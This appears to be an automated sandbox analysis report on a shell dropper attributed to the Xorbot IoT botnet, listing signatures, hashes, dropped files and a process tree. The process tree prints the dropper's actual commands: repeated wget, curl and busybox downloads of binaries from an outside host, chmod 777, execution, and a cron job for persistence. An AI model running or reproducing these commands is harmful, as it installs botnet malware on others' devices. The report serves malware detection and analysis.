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Analysis

  • max time kernel
    104s
  • max time network
    132s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 12:43

General

  • Target

    BZTS9_bins.sh

  • Size

    10KB

  • MD5

    5f5a8beaeee13fdd7a462ebf3797535c

  • SHA1

    982824d6165ed0668b25d6765b631170fc8bbd1d

  • SHA256

    d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

  • SHA512

    1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a

  • SSDEEP

    96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (747) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/BZTS9_bins.sh
    /tmp/BZTS9_bins.sh
    1⤵
    • Executes dropped EXE
    PID:716
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:719
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:723
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:738
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:746
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:748
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:749
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            PID:763
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:781
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:782
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:785
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:787
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:812
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                  PID:817
                • /bin/rm
                  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                  2⤵
                    PID:820
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:822
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • System Network Configuration Discovery
                    PID:846
                  • /bin/chmod
                    chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:847
                  • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:848
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:850
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:851
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:852
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:853
                        • /bin/rm
                          rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                          2⤵
                            PID:855
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:858
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:939
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:941
                          • /bin/chmod
                            chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:961
                          • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                              PID:962
                            • /bin/rm
                              rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              2⤵
                                PID:963
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                PID:964
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                PID:965
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:967
                              • /bin/chmod
                                chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • File and Directory Permissions Modification
                                PID:976
                              • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                ./FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                  PID:977
                                • /bin/rm
                                  rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                  2⤵
                                    PID:979
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:980
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:981
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:982
                                  • /bin/chmod
                                    chmod 777 ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:983
                                  • /tmp/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    ./ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                      PID:984
                                    • /bin/rm
                                      rm ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                      2⤵
                                        PID:985
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/deRXcu662s6hASp99AX8EnNCbJzOoVHGXg
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:986

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /var/spool/cron/crontabs/tmp.ir7Kg5

                                      Filesize

                                      210B

                                      MD5

                                      736f4bb920620ddbac44e8ab8498f384

                                      SHA1

                                      3acecea85b87ed1105988706afdcb896522a0573

                                      SHA256

                                      b47ab93e5cf3878f4a6f22475cfafdbd6936d721310f7c5f70b3f5cc1eb8ed2d

                                      SHA512

                                      29a27d38febf4c9e15a417cfe895d065107b917ec186ca072298c65c676658afb73c9481248196fba3cc60bd67d75363606a827d0564ff612c97fbead23c2005